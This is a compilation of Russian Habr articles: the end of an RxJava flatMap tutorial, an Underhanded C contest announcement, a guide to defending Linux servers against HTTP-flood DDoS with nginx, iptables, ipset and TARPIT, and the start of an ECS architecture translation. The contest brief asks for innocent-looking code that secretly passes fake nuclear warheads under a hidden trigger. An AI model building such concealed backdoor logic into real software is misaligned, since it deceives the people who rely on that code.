query("Hello, world!")
.subscribe(urls -> {
for (String url : urls) {
System.out.println(url);
}
});
```
Это решение никоим образом нас не удовлетворяет потому, что мы теряем возможность трансформировать поток данных. Если у нас возникнет желание модифицировать *каждый* url, нам придётся делать всё это в `Subscriber`, оставляя, таким образом, все наши трюки с `map()` не у дел.
Можно было бы написать `map()`, который работал бы с одним списком url'ов, и выдавал бы наружу список измененных url'ов, но в таком случае *каждый* вызов `map()` содержал бы в себе for-each. Тоже не очень-то и красиво.
Проблеск надежды
----------------
Применим метод `Observable.from()`, который берёт коллекцию и «испускает» один элемент этой коллекции за другим:
```
Observable.from("url1", "url2", "url3")
.subscribe(url -> System.out.println(url));
```
Похоже на то, что нам нужно, давайте попробуем воспользоваться им в нашей задаче:
```
query("Hello, world!")
.subscribe(urls -> {
Observable.from(urls)
.subscribe(url -> System.out.println(url));
});
```
От цикла мы избавились, но, что получилось в итоге, выглядит как *полный бардак*: вместо цикла мы получили вложенные друг в друга подписки. И плохо не только то, что код выглядит запутанно и потому его скорее всего будет трудно модифицировать; он конфликтует с некоторыми особенностями RxJava, о которых я ещё не упоминал1. Мда.
Есть способ получше
-------------------
Затаите своё дыхание при виде спасителя: `flatMap()`.
`Observable.flatMap()` принимает на вход данные, излучаемые одним `Observable`, и возвращает данные, излучаемые другим `Observable`, подменяя таким образом один `Observable` на другой. Неожиданный поворот событий, так сказать: вы думали, что получаете один поток данных, а получаете на самом деле другой. Вот как `flatMap()` поможет нам решить нашу проблему:
```
query("Hello, world!")
.flatMap(new Func1, Observable>() {
@Override
public Observable call(List urls) {
return Observable.from(urls);
}
})
.subscribe(url -> System.out.println(url));
```
Я показал полную версию для того, чтобы вам было проще разобраться в происходящем, но, если переписать код с лямбдами, то выглядеть он начинает просто замечательно:
```
query("Hello, world!")
.flatMap(urls -> Observable.from(urls))
.subscribe(url -> System.out.println(url));
```
Довольно странная штука, если призадуматься. Зачем `flatMap()` возвращает *другой* `Observable`? Ключевой момент тут в том, что новый `Observable` — это то, что увидит в итоге наш `Subscriber`. Он не получит `List`, он получит поток индивидуальных объектов класса `String` так, как он получил бы от `Observable.from()`.
Между прочим, этот момент показался мне самым сложным, но, как только я его понял и осознал, большая часть того, как работает RxJava, встала в моей голове на свои места.
И можно сделать кое-что более крутое
------------------------------------
Подчеркну ещё раз, потому что это важно: `flatMap()` может вернуть нам *любой* `Observable`, какой вы только захотите.
Например, у меня есть второй метод:
```
// Возвращает заголовок вебсайта, или null, если мы получили ошибку 404
Observable getTitle(String URL);
```
Вместо того, чтобы печатать url'ы, я теперь хочу печатать заголовок каждого сайта, до которого удалось достучаться. Есть проблемы: мой метод принимает только один url, и он не возвращает `String`, он возвращает `Observable`, который возвращает `String`.
Можно решить обе эти проблемы с `flatMap()`; сначала мы перейдём от списка url'ов к потоку индивидуальных url'ов, а потом используем `getTitle()` внутри `flatMap()` прежде чем передать окончательный результат в `Subscriber`:
```
query("Hello, world!")
.flatMap(urls -> Observable.from(urls))
.flatMap(new Func1>() {
@Override
public Observable call(String url) {
return getTitle(url);
}
})
.subscribe(title -> System.out.println(title));
```
И ещё раз упростим всё с помощью лямбд:
```
query("Hello, world!")
.flatMap(urls -> Observable.from(urls))
.flatMap(url -> getTitle(url))
.subscribe(title -> System.out.println(title));
```
Здорово, да? Мы объединяем вместе несколько не зависящих друг от друга методов, которые возвращают нам `Observables`.
Обратите внимание на то, каким образом я объединил вместе два вызова API в одну цепочку. То же самое можно проделать для любого количества обращений к API. Вы наверняка знаете, насколько сложно порой бывает скоординировать работу нескольких вызовов API для того, чтобы получить в итоге некоторый нужный нам результат: сделали запрос, получили результат в функции обратного вызова, уже изнутри неё сделали новый запрос… Брр. А здесь мы взяли и обошли весь этот ад стороной, уложив всю ту же самую логику в один короткий реактивный вызов2.
Изобилие операторов
-------------------
Пока что мы взглянули лишь на два оператора, но их в RxJava на самом деле гораздо больше. Как ещё можно улучшить наш код?
`getTitle()` возвращает `null`, если мы получили ошибку 404. Мы не хотим выводить на экран `"null"`, и мы можем отфильтровать ненужные нам значения:
```
query("Hello, world!")
.flatMap(urls -> Observable.from(urls))
.flatMap(url -> getTitle(url))
.filter(title -> title != null)
.subscribe(title -> System.out.println(title));
```
`filter()` «испускает» тот же самый элемент потока данных, который он получил, но только если он проходит проверку.
А теперь мы хотим показать только 5 результатов, не больше:
```
query("Hello, world!")
.flatMap(urls -> Observable.from(urls))
.flatMap(url -> getTitle(url))
.filter(title -> title != null)
.take(5)
.subscribe(title -> System.out.println(title));
```
`take()` возвращает не больше заданного количества элементов (если в нашем случае получилось меньше 5 элементов, `take()` просто-напросто завершит свою работу раньше.
Знаете, а давайте-ка будем ещё и сохранять каждый полученный нами заголовок на диск:
```
query("Hello, world!")
.flatMap(urls -> Observable.from(urls))
.flatMap(url -> getTitle(url))
.filter(title -> title != null)
.take(5)
.doOnNext(title -> saveTitle(title))
.subscribe(title -> System.out.println(title));
```
`doOnNext()`позволяет нам добавить некоторое дополнительное действие, происходящее всякий раз, как мы получаем новый элемент данных, в данном случае этим действием будет сохранение заголовка.
Взгляните на то, как легко нам манипулировать потоком данных. Можно добавлять всё новые и новые ингридиенты к вашему рецепту, и не получить в итоге неудобоваримую бурду.
[RxJava поставляется с вагоном и маленькой тележкой разнообразных операторов.](https://github.com/ReactiveX/RxJava/wiki/Alphabetical-List-of-Observable-Operators) Такой огромный список может и напугать, но его стоит просмотреть хотя бы для того, чтобы иметь представление о том, что есть в наличии. У вас уйдёт некоторое время для того, чтобы запомнить доступные вам операторы, но, как только вы это сделаете, вы обретёте истинную силу на кончиках ваших пальцев.
Да, кстати, вы также можете писать свои собственные операторы! Эта тема выходит за рамки данного цикла статей, но, скажем так: если вы придумаете свой собственный оператор, вы почти наверняка сможете реализовать его3.
И что дальше?
-------------
Хорошо, понял, вы скептик и убедить вас опять не получилось. Зачем вам вообще беспокоиться обо всех этих операторах?
### Идея №3: Операторы позволяют вам делать с потоком данных всё, что угодно
[Единственное ограничение находится в вас самих.](http://www.zombo.com/)
Можно написать довольно сложную логику манипулирования данными, не используя ничего, кроме цепочек простых операторов. Это и есть функциональное реактивное программирование. Чем чаще вы им пользуетесь, тем сильнее изменяется ваше представление о том, как должен выглядеть программный код.
Также, подумайте о том, как легко было представить наши данные конечному потребителю после того, как мы трансформировали их. Под конец нашего примера мы делали два запроса к API, обрабатывали данные, и заодно сохраняли их на диск. Но наш конечный `Subscriber` не имеет об этом ни малейшего представления, он всё так же работает с обычным `Observable`. Инкапсуляция делает код более простым!
В третьей части мы пройдёмся по другим крутым особенностям RxJava, которые связаны с манипуляцией данными в меньшей степени: обработка ошибок и параллелизм.
[Перейти к третьей части.](http://habrahabr.ru/post/265727/)
---
1 Так, например, обработка ошибок, многопоточность и отмена подписок в RxJava сочетаются с этим кодом чуть менее чем никак. Я затрону эти темы в третьей части.
2 А вот тут вы, возможно, задумались о другой стороне callback hell: обработка ошибок. Я рассмотрю это в третьей части.
3 Если вы хотите написать свои собственные операторы, вам стоит [посмотреть вот сюда](https://github.com/ReactiveX/RxJava/wiki/Implementing-Your-Own-Operators). Некоторые детали их имплементации, правда, будут довольно сложны для понимания, до прочтения третьей части статьи. | https://habr.com/ru/post/265583/ | null | ru | null |
# Начался 8-й конкурс Underhanded C для программистов-хакеров
По условиям конкурса [Underhanded C](http://www.underhanded-c.org/), исходный код программы должен быть читаемым, ясным, простым и совершенно невинным для постороннего взгляда. При этом программа выполняет некую вредоносную функцию, которая совершенно не очевидна при изучении исходного кода.
В этом году конкурсное задание основано на реальной проблеме контроля за ядерными вооружениями. Задание составлено совместно с некоммерческой организацией [Nuclear Threat Initiative](http://www.nti.org/), которая борется с ядерным, химическим и биологическим оружием, отслеживая состояние ядерных программ [во всех странах мира](http://www.nti.org/country-profiles/).
По правилам, программа должна обработать исходные данные и подделать результат обработки. Приз за победу — $1000.
### Задание
Две страны, Народная Славная Демократическая Республика Элис (НСДРЭ) и Славная Демократическая Народная Республика Боба (СДНРБ), договорились о соглашении по ядерному разоружению. На практике договор предусматривает визит инспекторов в каждую страну для проверки наличия в боеголовках ядерных материалов, таких как плутоний, после чего боеголовки могут быть уничтожены.
В идеале, инспекторам хорошо бы лично осмотреть боеголовки и изучить радиограмму либо гамма-спектрограмму объектов, чтобы убедиться, что это настоящие боеголовки, а не фальшивка. Но каждая из стран противится такому исследованию, потому что не хочет выдавать секреты своей ядерной программы. В то же время и НСДРЭ, и СДНРБ желают быть уверенными, что другая сторона уничтожает настоящие боеголовки, а не фейковые.
Чтобы решить проблему, обе стороны договорились разработать детектор радиоактивных материалов с «информационным барьером», а именно — компьютерной программой, которая берёт результаты сканирования, определяет соответствие определённому шаблону и выдаёт ответ: только «да» или «нет».
Задача конкурсантов — написать функцию, которая сравнивает результаты тестовых измерений с эталонным шаблоном:
```
int match( double * test, double * reference, int bins, double threshold )
```
где `test` и `reference` — одномерные массивы шириной `bins`, которые соответствуют спектру гамма-излучения проверяемой боеголовки и эталонной боеголовки, соответственно.
Ваш детектор должен выдать результат "1" («да»), если два массива совпадают в существенной степени, или результат "0" («нет»), если два массива не совпадают. Для настройки чувствительности детектора используется параметр `threshold`.
Можно использовать любую формулу для проверки близости `test[]` и `reference[]`. Больше очков дадут за использование стандартных формул сравнения.
**«Секретная» часть программы**. Каким-то образом функция `match()` выдаёт результат "1" («да»), даже если ядерный материал в боеголовке отсутствует. Такой результат должен быть вызван некими специальными условиями, которые организует принимающая страна. При этом в остальном детектор работает нормально и выдаваёт "0" («нет»), если специальные условия отсутствуют, а результат `test[]` не соответствует `reference[]`.
---
Конкурс стартовал 15 августа. Образцы программ принимают на адрес *underhandedC@gmail.com* до 15 ноября 2015 года. Результаты объявят в январе. | https://habr.com/ru/post/357624/ | null | ru | null |
# Доступные методы борьбы с DDoS-атаками для владельцев vds/dedicated серверов с Linux
Начать свое присутствие на Хабре мы решили с материала, подготовленного для [Конференции уральских веб-разработчиков](http://uwdc.ru/program/presentation/web-development/obschedostupnyie_metodyi_borbyi_s_ddos-atakami.html), в котором описаны проверенные на собственной практике и оказавшиеся вполне успешными методы борьбы с DDoS-атаками. Целевая аудитория данной статьи — это программисты, имеющие в распоряжении vds или dedicated. Статья не претендует на полноценное руководство и многие сисадминские нюансы в ней намеренно опущены. Мы рассматриваем только DDoS типа http flood как наиболее распространенный тип DDoS и наиболее дешевый для заказчика.
Целевая аудитория данной статьи – это программисты, имеющие в распоряжении VDS или Dedicated.
### Связка nginx – apache – fastcgi/wsgi. Узкие места
Типовая схема организации работы веб-приложения состоит из 3х уровней: это reverse proxy-сервер (например nginx), apache (web-сервер) и какое-то fastcgi/wsgi/… приложение. На практике имеют место вырожденные случаи, когда нет apache или при использовании mod\_php/mod\_python, когда нет выделенного приложения (оно встроено в веб-сервер), но суть работы схемы при этом не меняется, меняется только количество уровней в ней.
Fcgi сервер может запустить несколько десятков процессов, параллельно обрабатывающих входящие запросы. Увеличить это значение можно только до определенного предела, пока процессы помещаются в памяти. Дальнейшее увеличение приведет к swapping'у. При DDoS-атаке или при высокой посещаемости, когда все текущие процессы fcgi уже заняты обработкой поступивших запросов, вновь поступающие запросы apache ставит в очередь, пока либо не освободится какой-то из fcgi процессов, либо не возникнет таймаут нахождения в очереди (в этом случае возникает ошибка 503).
Apache точно также имеет лимит на количество коннектов, как правило несколько сотен (на порядок больше, чем fcgi). После того, как все коннекты к apache исчерпаны, запросы в очередь уже ставит nginx.
Nginx, в силу своей асинхронной архитектуры, может спокойно держать несколько тысяч коннектов при очень скромном расходе памяти, поэтому типовые DDoS-атаки не доходят до уровня, когда nginx не в состоянии принимать новые коннекты, если nginx настроен соответствующим образом.
### Фильтрация трафика на nginx. Разбор логов nginx
Предлагаемая нами методика сводится к тому, чтобы лимитировать общее количество запросов к сайту определенным значением (например, 1500 в минуту, в зависимости от того, сколько максимум хитов может выдержать движок сайта при текущих серверных мощностях). Все, что будет превышать это значение, мы первоначально будем фильтровать с помощью nginx (limit\_req\_zone $host zone=hostreqlimit:20m rate=1500r/m;).
Затем мы будем смотреть в логи nginx и вычислять там те IP-адреса, которые были отфильтрованы более определенного количества раз за определенный промежуток времени (например, более 100 раз за 5 минут) и запрещать доступ к нам этим IP-адресам с помощью firewall.
Почему мы не используем традиционный и часто рекомендуемый лимит по подключениям с одного и того же ip адреса (limit\_req\_zone $binary\_remote\_addr ...)? Во-первых, под этот лимит попадут клиенты провайдеров, сидящие за nat'ом. Во-вторых, установить универсальное значение порога невозможно, потому что есть сайты с ajax и большим количеством js/css/картинок, у которых в принципе на загрузку одной страницы может требоваться несколько десятков хитов, и использовать такой порог можно только индивидуально для каждого сайта. В-третьих, для так называемых «вялотекущих» DDoS-атак боты вообще не будут попадать под этот порог – ботов будет много, но каждый из них в отдельности будет делать немного запросов за короткий период времени, в результате мы ничего не сможем отфильтровать, а сайт при этом работать не будет.
Для того чтобы воспользоваться нашим методом, конфигурационный файл nginx, при работе nginx в качестве reverse proxy для apache, должен выглядеть примерно следующим образом:
```
http {
limit_req_zone $host zone=hostreqlimit:20m rate=1500r/m;
...
server {
listen 1.2.3.4;
server_name domain.ru www.domain.ru;
limit_req zone=hostreqlimit burst=2500 nodelay;
location /
{
proxy_pass http://127.0.0.1:80;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
}
}
}
```
В этом конфиге также подразумевается, что apache у нас слушает на loopback интерфейсе на 127.0.0.1:80, а nginx на 80-м порту на нашем внешнем ip-адресе (1.2.3.4) и на порту 8080 на 127.0.0.1.
Отфильтрованные nginx'ом хиты будут сопровождаться такой записью в error.log nginx'а:
```
2012/01/30 17:11:48 [error] 16862#0: *247484 limiting requests, excess: 2500.200 by zone "hostreqlimit", client: 92.255.185.237,
server: domain.ru, request: "GET / HTTP/1.1", host: "domain.ru", referrer: "http://www.yahoo.com/"
```
Чтобы получить из error.log список всех блокировавшихся ip-адресов мы можем выполнить следующее:
```
cat error.log | awk '/hostreqlimit/ { gsub(", ", " "); print $14}' | sort | uniq -c | sort -n
```
Но мы с вами помним, что в этом случае мы блокируем всех, кто обратился к сайту после того, как счетчик обращений насчитал 1500 раз в минуту, поэтому не все заблокированные – боты. Ботов же можно выделить, если провести какую-то условную черту по количеству блокировок. Как правило, для черты выбирается значение в несколько сотен раз за 5-15 минут. Например, мы пополняем список ботов раз в 5 минут и считаем что все, кого nginx заблокировал более 200 раз – боты.
Теперь перед нами стоит две проблемы:
1. Как выбрать из лога период «последние 5 минут»?
2. Как отсортировать только тех, кто был заблокирован более N раз?
Первую проблему решаем при помощи tail -c +OFFSET. Идея сводится к тому, что после разбора error.log мы записываем во вспомогательный файл его текущий размер в байтах (stat -c '%s' error.log > offset), а при следующем разборе отматываем error.log на последнюю просмотренную позицию (tail -c +$(cat offset)). Таким образом, запуская разбор логов раз в 5 минут, мы будем просматривать только ту часть лога, которая относится к последним 5 минутам.
Вторую проблему решаем при помощи скрипта на awk. В итоге получим (THRESHOLD — это тот самый лимит по количеству блокировок, после которого соответствующий IP-адрес считается принадлежащим атакующему нас боту):
```
touch offset; (test $(stat -c '%s' error.log) -lt $(cat offset) 2>/dev/null && echo 0 > offset) || echo 0 > offset; \
tail -c +$(cat offset) error.log | awk -v THRESHOLD=200 '/hostreqlimit/ { gsub(", ", " "); a[$14]++; } \
END { for (i in a) if (a[i]>THRESHOLD) printf "%s\n", i; }' ; stat -c '%s' error.log > offset
```
Подразумевается, что этот набор команд выполняется в той директории, где лежит error.log от nginx, то есть как правило это/var/log/nginx. Полученный в результате список мы можем отправить в firewall на блокировку (об этом ниже).
### Как просто можно построить список сетей для бана
Еще одна стоящая перед нами задача при DDoS – это максимально ограничить доступ к нашему сайту для тех, кто не является его потенциальным посетителем, потому что ботнеты могут содержать десятки тысяч компьютеров и зачастую отсечь лишние ip-адреса целыми подсетями гораздо проще, чем вылавливая каждого бота в отдельности.
Первое, что нам может помочь, это список сетей Рунета на сайте [NOC masterhost](http://noc.masterhost.ru/allrunet/). В настоящий момент в этом списке насчитывается почти 5000 сетей. Большинство российских сайтов ориентированы на посетителей из России, поэтому отсечь всех заграничных посетителей, а вместе с этим и всех заграничных ботов, выглядит вполне логичным решением. Однако, в последнее время внутри Российских сетей возникает все больше и больше самостоятельных ботнетов, поэтому такое решение хоть и обосновано, но очень часто не спасает от атаки.
Если сайт имеет устоявшееся community (ядро), то мы можем выбрать список IP адресов постоянных посетителей из логов веб-сервера за последние 3-4 недели. Хотя новые посетители на время атаки на сайт попадать не смогут, но зато старые активные пользователи скорее всего даже не заметят никакой атаки. Кроме того, среди постоянных посетителей вряд ли будут боты, поэтому такой метод может в принципе сам по себе остановить атаку на какое-то время.
Если сайт местного значения, то можно забанить на firewall всех, кроме сетей местных провайдеров и сетей поисковых систем (Яндекс).
### Введение в iptables, пример простейшего firewall
В ОС Linux firewall работает на базе iptables. Фактически суть работы iptables сводится к тому, чтобы для каждого пакета трафика, принимаемого снаружи или отправляемого с сервера, был применен определенный набор правил, которые могут повлиять на судьбу данного пакета. В самом простом случае правила просто говорят, что пакет нужно либо принять (ACCEPT), либо отбросить (DROP). Правила подразделяются на цепочки (chains). Например, принимаемые сервером из Интернета пакеты попадают в цепочку INPUT, где для каждого пакета с самого начала правил в цепочке проверяется, подходит ли данный пакет под описанные в правиле условия и если подходит, то к пакету применяется это правило, а если нет, то пакет передается следующему правилу. Если ни одно из правил для пакета не было применено, то к пакету применяется политика по-умолчанию (policy).
В качестве простого примера напишем правила firewall, которые разрешают подключение к серверу по ssh только из нашего офиса (с ip-адреса 1.2.3.4), а всем остальным доступ по ssh блокируют:
```
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -s 1.2.3.4/32 -m comment --comment "our office" -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j DROP
COMMIT
```
Эти строки можно записать в текстовый файл и загрузить в firewall с помощью: iptables-restore < firewall.txt, а сохранить текущее состояние firewall в файл: iptables-save > firewall.txt.
Работают эти правила следующим образом. Первая строка — разрешаем весь трафик для всех соединений, которые уже открыты (процедура handshake пройдена). Вторая строка — разрешаем любой трафик с ip-адреса 1.2.3.4 и помечаем комментарием, что это наш офис. На самом деле сюда доходят только пакеты, устанавливающие какое-либо соединение, то есть пакеты типа syn и ack, все остальные пакеты проходят только первую строку. Третья строка – запрещаем всем подключение по tcp на 22-й порт. Сюда доходят попытки подключения (syn, ack) по ssh от всех, кроме нашего офиса.
Интересно, что первую строчку можно смело удалить. Плюс наличия такой строки в том, что для уже открытых соединений в firewall отработает всего одно правило, а пакеты в рамках уже открытых соединений – это подавляющее большинство принимаемых нами пакетов, то есть firewall с такой строкой в самом начале практически не будет вносить никаких дополнительных задержек в работу сетевого стека сервера. Минус — эта строка приводит к активации модуля conntrack, который держит в памяти копию таблицы всех установленных соединений. Что затратнее – держать копию таблицы соединений или необходимость обрабатывать несколько правил firewall на каждый пакет? Это индивидуальный нюанс каждого сервера. Если firewall содержит всего несколько правил, на наш взгляд правильнее строить его правила так, чтобы модуль conntrack не активизировался.
В iptables можно создавать дополнительные цепочки, задаваемые пользователем. В каком-то смысле это выглядит как аналог вызова функций в языках программирования. Создаются новые цепочки просто: iptables -N chain\_name. Используются создаваемые таким образом цепочки для того, чтобы разделять firewall на разные логически блоки.
### Рекомендуемая структура firewall для противодействия DDoS
Рекомендуемая нами структура для противодействия DDoS состоит из следующих логических блоков:
1. Разрешаем трафик по уже установленным соединениям.
2. Прописываем разрешения для «своих» ip-адресов.
3. Таблица whitelist – это исключения.
4. Таблица DDoS – это идентифицированные нами боты.
5. Таблица friends – это сети РуНета, которым мы разрешаем доступ, если пакет дошел до этого уровня.
6. Всем остальным – -j DROP.
В терминах iptables это выглядит так:
```
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:ddos - [0:0]
:friends - [0:0]
:whitelist - [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -s 1.2.3.4/32 -m comment --comment "our office" -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j DROP
-A INPUT -j whitelist
-A INPUT -j ddos
-A INPUT -j friends
-A INPUT -j DROP
-A whitelist -s 222.222.222.222 -j ACCEPT
-A whitelist -s 111.111.111.111 -j ACCEPT
-A ddos -s 4.3.2.0/24 -j DROP
-A friends -s 91.201.52.0/22 -j ACCEPT
COMMIT
```
Опять же, целесообразность наличия второй строки под вопросом и в зависимости от полного размера firewall она может как ускорять его работу, так и тормозить.
Заполняем таблицу friends:
```
for net in $(curl -s http://noc.masterhost.ru/allrunet/runet); do iptables -A friends -s $net -j ACCEPT; done
```
Проблема такого firewall в его монстроидальности: таблица friends в случае Рунета будет содержать порядка 5000 правил. Таблица DDoS в случае более-менее среднего DDoS'а будет содержать еще 1-2 тысячи записей. Итого firewall будет состоять из 5-7 тысяч строк. При этом все пакеты, прилетающие от заграничных отправителей, которые должны быть просто отброшены, на самом деле будут проходить все 5-7 тысяч правил, пока не доберутся до последнего: -A INPUT -j DROP. Сам по себе такой firewall будет отъедать огромное количество ресурсов.
### Ipset – решение для монстроидальных firewall'ов
Ipset полностью решает проблему с монстроидальными firewall, в которых присутствуют тысячи строк с описанием того, что делать с пакетами с разными адресами отправителей или получателей. Ipset представляет собой утилиту по управлению специальными set'ами (наборами однотипных данных), где для нескольких заранее определенных типов данных сделаны специальные hash-таблицы, позволяющие очень быстро устанавливать факт наличия или отсутствия определенного ключа в этой таблице. В каком-то смысле это аналог memcached, но только гораздо более быстрый и позволяющий при этом хранить только несколько конкретных типов данных. Создадим новый набор данных для хранения информации об ip-адресах DDoS-ботов:
```
ipset -N ddos iphash
```
Здесь последним параметром указывается тип создаваемой таблицы: nethash – это set для списка сетей, iphash – для отдельных ip адресов. Есть разные варианты таблиц, подробности в man ipset. Соответственно whitelist и friends – это таблицы типа nethash, а DDoS — iphash.
Чтобы воспользоваться созданной таблицей ipset в firewall, достаточно одного правила (строки firewall), например:
```
-A INPUT -m set --match-set whitelist src -j ACCEPT
-A INPUT -m set --match-set ddos src -j DROP
```
Добвить какой-то ip-адрес во вновь созданную таблицу можно так:
```
ipset -A ddos 1.2.3.4
```
Таким образом, весь наш firewall при использовании ipset сводится к:
```
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -s 1.2.3.4/32 -m comment --comment "our office" -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j DROP
-A INPUT -m set --match-set whitelist src -j ACCEPT
-A INPUT -m set --match-set ddos src -j DROP
-A INPUT -m set --match-set friends src -j ACCEPT
-A INPUT -j DROP
COMMIT
```
Заполняем set friends (тип nethash):
```
for net in $(curl -s http://noc.masterhost.ru/allrunet/runet); do ipset -A friends $net; done
```
Заполняем set ddos из показанной ранее команды:
```
touch offset; (test $(stat -c '%s' error.log) -lt $(cat offset) 2>/dev/null && echo 0 > offset) || echo 0 > offset; \
for ip in $(tail -c +$(cat offset) error.log | awk -v THRESHOLD=300 \
'/hostreqlimit/ { gsub(", ", " "); a[$14]++; } END { for (i in a) if (a[i]>THRESHOLD) printf "%s\n", i; }' ; \
stat -c '%s' error.log > offset); do ipset -A ddos $ip; done
```
### Используем модуль TARPIT
Модуль iptables под названием tarpit представляет собой так называемую «ловушку». Принцип работы tarpit такой: клиент присылает syn-пакет для попытки установки handshake (начало установки tcp-соединения). Tarpit отвечает ему syn/ack пакетом, о котором тут же забывает. При этом никакое соединение на самом деле не открывается и никакие ресурсы не выделяются. Когда от бота приходит конечный ACK-пакет, модуль tarpit отправляет назад пакет, устанавливающий размер окна для передачи данных на сервер равным нулю. После этого любые попытки закрыть это соединение со стороны бота tarpit'ом игнорируются. Клиент (бот) считает, что соединение открыто, но «залипло» (размер окна 0 байт) и пытается закрыть это соединение, но он ничего не может сделать вплоть до истечения таймаута, а таймаут, в зависимости от настроек – это порядка 12-24 минут.
Использовать tarpit в firewall можно следующим образом:
```
-A INPUT -p tcp -m set --match-set ddos src -j TARPIT --tarpit
-A INPUT -m set --match-set ddos src -j DROP
```
### Собираем xtables-addons
К сожалению, модули ipset и tarpit в стандартном наборе современных дистрибутивов отсутствуют. Их нужно установить дополнительно. Для более-менее свежих дистрибутивов Debian и Ubuntu это делается просто:
```
apt-get install module-assistant xtables-addons-source
m-a a-i xtables-addons
```
После этого система сама скачает все нужное для сборки ПО, сама все соберет и сама все установит. Для других дистрибутивов Linux нужно совершить аналогичные действия, но за конкретикой мы предлагаем обратиться к справочному руководству.
### Тюнинг ядра
Как правило, разговоры о борьбе с DDoS-атаками начинаются с рекомендаций по тюнингу ядра ОС. Однако, на наш взгляд, если ресурсов в принципе мало (например, при наличии менее одного Гб памяти), то тюнинг ядра смысла не имеет, так как почти ничего не даст. Максимум полезного в этом случае будет — включить так называемые. syncookies. Включение syncookies позволяет эффективно бороться с атаками типа syn flood, когда сервер забрасывается большим количеством syn-пакетов. Получая syn-пакет сервер должен выделить ресурсы на открытие нового соединения. Если за syn-пакетом не последует продолжение процедуры установки соединения, сервер выделит ресурсы и будет ждать, пока не произойдет таймаут (несколько минут). В конечном итоге, без syncookies, при достаточном количестве отправленных серверу syn-пакетов, он не сможет более принимать соединения, потому что система израсходует на хранение информации о полуоткрытых соединениях все свои ресурсы.
Параметры ядра, о которых пойдет речь, правятся с помощью команды sysctl:
```
sysctl [-w] option
```
Опция -w означает, что вы хотите записать новое значение в какой-то параметр, а ее отсутствие – что вы хотите прочитать текущее значение этого параметра. Рекомендуется поправить следующие параметры:
```
net.ipv4.tcp_syncookies=1
net.ipv4.ip_local_port_range = 1024 65535
net.core.netdev_max_backlog = 30000
net.ipv4.tcp_max_syn_backlog = 4096
net.core.somaxconn = 4096
net.core.rmem_default = 124928
net.core.rmem_max = 124928
net.core.wmem_max = 124928
```
* Параметр net.ipv4.tcp\_syncookies отвечает за включение механизма syncookies; net.core.netdev\_max\_backlog определяет максимальное количество пакетов в очереди на обработку, если интерфейс получает пакеты быстрее, чем ядро может их обработать.
* net.ipv4.tcp\_max\_syn\_backlog определяет максимальное число запоминаемых запросов на соединение, для которых не было получено подтверждения от подключающегося клиента.
* net.core.somaxconn максимальное число открытых сокетов, ждущих соединения.
* Последние строки – это различные буферы для tcp-соединений.
Мы надеемся, что эта статья будет полезна для владельцев VDS или Dedicated серверов. Просим оставлять свои комментарии и замечания. | https://habr.com/ru/post/149302/ | null | ru | null |
# ECS back and forth
Привет, Хабр! Представляю вашему вниманию перевод статьи [**"ECS back and forth** — Part 1 — Introduction"](https://skypjack.github.io/2019-02-14-ecs-baf-part-1/) автора [Michele **skypjack** Caini](https://github.com/skypjack).
ECS back and forth
==================
*Часть 1 — Введение.*
Когда я в первые узнал про архитектурный шаблон entity component system, я пошёл искать больше информации о нём в интернете. Но, к сожалению, тогда на эту тему не было пролито достаточно света, а ресурсов, где описывались бы разные подходы с их плюсами и минусами, не существовало. Почти каждые статья, пост, комментарии (существенная их доля) были об одной специфичной реализации и только слегка ссылались на другие примеры.
В этом посте я попытаюсь вас ввести в курс дела и открыть для вас несколько вводных моделей, давая некоторые советы для того, чтобы вы могли сделать свою собственную ECS.
Почему я должен использовать ECS?
---------------------------------
Старайтесь не быть одураченным тем, что говорят вокруг. Если вы работаете над AAA проектами на серьёзном уровне, главной причиной почему вы должны использовать такой серьёзный инструмент — это организация кода, а не (только) производительность. Конечно, производительность имеет не последнее значение, но хорошо организованная кодовая база бесценна, и с большинством игр у вас не будет проблем с производительностью, будь они написаны с использованием ОПП парадигмы либо с другой опциональной реализацией компонентного шаблона.
В сущности, компонентно-ориентированное программирование — это крайне мощный инструмент, который позволяет сделать код легко расширяемым и ускорить цикл разработки. Бесспорно, всё это должно быть вашей первостепенной целью.
Конечно, не забываем о производительности. Хотя пока мы находимся в другой лиге, но в следующих статьях и в следующих вводных статьях я дам вам достаточно примеров моделей, по крайней мере некоторые модели будут точно ориентированы на производительность.
Введение
--------
Для начала давайте разберёмся в том, что значит перейти с ООП в компонентный мир.
Грубо говоря, это вопрос разделения вещей. Представь все свои концепты(классы) объектов на плоскости. Здесь дварф, эльф, игровой персонаж, камень и так далее, все следуют друг за другом. И вот тут в нас остаётся только два способа разрезать это: горизонтально и вертикально.
Если вы будете резать вертикально, то получите сами концепты по себе. Другими словами, обычные ООП классы, ничего больше, ничего меньше.
Если вы начнёте разрезать их горизонтально, то вы получите кучку мешей, трансформы, несколько конечных автоматов и так далее. Другими словами, части, которые составляли ваши концепты каждый находящийся на своей линии.
Но как организовывать логику теперь?
Классическое ООП предлагает вам итерировать все объекты (представителей ваших классов), используя некоторый update метод. Если следовать нашему прошлому примеру, мы можем пройтись через все сущности и обновить их, как будто они колонки, работая с одной колонкой за раз.
Компонентный подход переворачивает эту проблему с ног на голову и предлагает итерировать между частями объектов, одним типом за раз. Этим занимаются так называемые системы. Система передвижения берёт все сущности с трансформом и делает свою работу с ними, система рендера использует все меши и трансформы и рисует объекты, и так далее. Это словно работать со строкой за раз, вместо колонки.
Получилось ну уж слишком упрощённое описание, но надеюсь его будет достаточно для того, чтобы вы смогли прочувствовать разницу между классическим ООП и компонентно-ориентированным подходом.
ECS back and forth
------------------
Рассмотрим несколько известных путей реализации ECS.
В первой части этой серии статей, я опишу возможно менее привлекательный путь, но представляющий первый шаг к полноценному компонентному подходу. Несколько отличающуюся реализацию можно найти в великой книге Роберта Нистрома
